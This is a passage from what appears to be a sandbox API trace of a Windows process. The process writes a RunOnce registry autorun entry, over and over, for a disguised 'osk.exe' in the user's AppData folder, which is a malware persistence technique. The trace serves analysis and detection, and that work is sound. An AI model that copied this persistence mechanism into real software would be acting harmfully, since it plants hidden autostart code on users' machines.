_MaxCount=0x5) returned 0 [0276.431] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.431] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.432] RegCloseKey (hKey=0x644) returned 0x0 [0276.432] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.432] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.448] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.448] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.449] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.449] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.449] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.449] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.450] RegCloseKey (hKey=0x644) returned 0x0 [0276.450] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.450] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.464] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.464] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.464] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.465] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.465] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.465] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.466] RegCloseKey (hKey=0x644) returned 0x0 [0276.471] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.471] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.477] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.477] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.477] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.478] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.478] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.478] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.478] RegCloseKey (hKey=0x644) returned 0x0 [0276.478] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.479] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.493] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.493] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.493] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.493] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.493] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.494] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.494] RegCloseKey (hKey=0x644) returned 0x0 [0276.494] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.495] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.511] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.511] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.511] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.512] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.512] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.512] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.512] RegCloseKey (hKey=0x644) returned 0x0 [0276.513] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.513] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.600] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.600] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.600] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.601] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.601] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.601] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.601] RegCloseKey (hKey=0x644) returned 0x0 [0276.602] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.602] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.602] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.603] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.603] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.685] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.685] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.685] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.686] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.686] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.686] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.686] RegCloseKey (hKey=0x644) returned 0x0 [0276.686] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.686] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.728] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.728] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.729] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.729] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.729] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.730] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.730] RegCloseKey (hKey=0x644) returned 0x0 [0276.730] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.731] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.751] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.751] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.752] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.752] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.752] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.752] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.752] RegCloseKey (hKey=0x644) returned 0x0 [0276.753] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.753] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.771] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.771] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.771] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.772] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.772] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.772] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.772] RegCloseKey (hKey=0x644) returned 0x0 [0276.773] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.773] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.795] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.795] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.795] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.796] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.796] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.796] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.796] RegCloseKey (hKey=0x644) returned 0x0 [0276.796] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.797] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.871] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.871] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.872] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.872] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.872] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.873] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.873] RegCloseKey (hKey=0x644) returned 0x0 [0276.873] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.873] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.888] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.888] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.888] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.889] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.889] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.889] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.889] RegCloseKey (hKey=0x644) returned 0x0 [0276.890] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.890] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.899] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.899] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.899] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.900] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.900] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.900] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.900] RegCloseKey (hKey=0x644) returned 0x0 [0276.901] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.901] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.918] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.918] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.919] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.919] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.919] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.919] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.920] RegCloseKey (hKey=0x644) returned 0x0 [0276.920] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.920] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.934] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.934] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.934] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.935] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.935] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.935] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.935] RegCloseKey (hKey=0x644) returned 0x0 [0276.935] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.936] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.946] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.946] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.946] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.946] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.946] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.947] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.947] RegCloseKey (hKey=0x644) returned 0x0 [0276.947] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.947] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.966] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.966] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.966] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.966] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.966] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.967] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.967] RegCloseKey (hKey=0x644) returned 0x0 [0276.967] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.967] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.977] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.977] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.977] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.978] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.978] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.978] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.978] RegCloseKey (hKey=0x644) returned 0x0 [0276.979] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.979] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0276.997] TranslateMessage (lpMsg=0x95f69c) returned 0 [0276.997] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0276.997] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0276.998] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0276.998] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0276.998] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0276.998] RegCloseKey (hKey=0x644) returned 0x0 [0276.998] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0276.999] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0277.027] TranslateMessage (lpMsg=0x95f69c) returned 0 [0277.027] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0277.028] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0277.028] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0277.028] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x644, lpdwDisposition=0x0) returned 0x0 [0277.028] RegSetValueExA (in: hKey=0x644, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0277.029] RegCloseKey (hKey=0x644) returned 0x0 [0277.029] 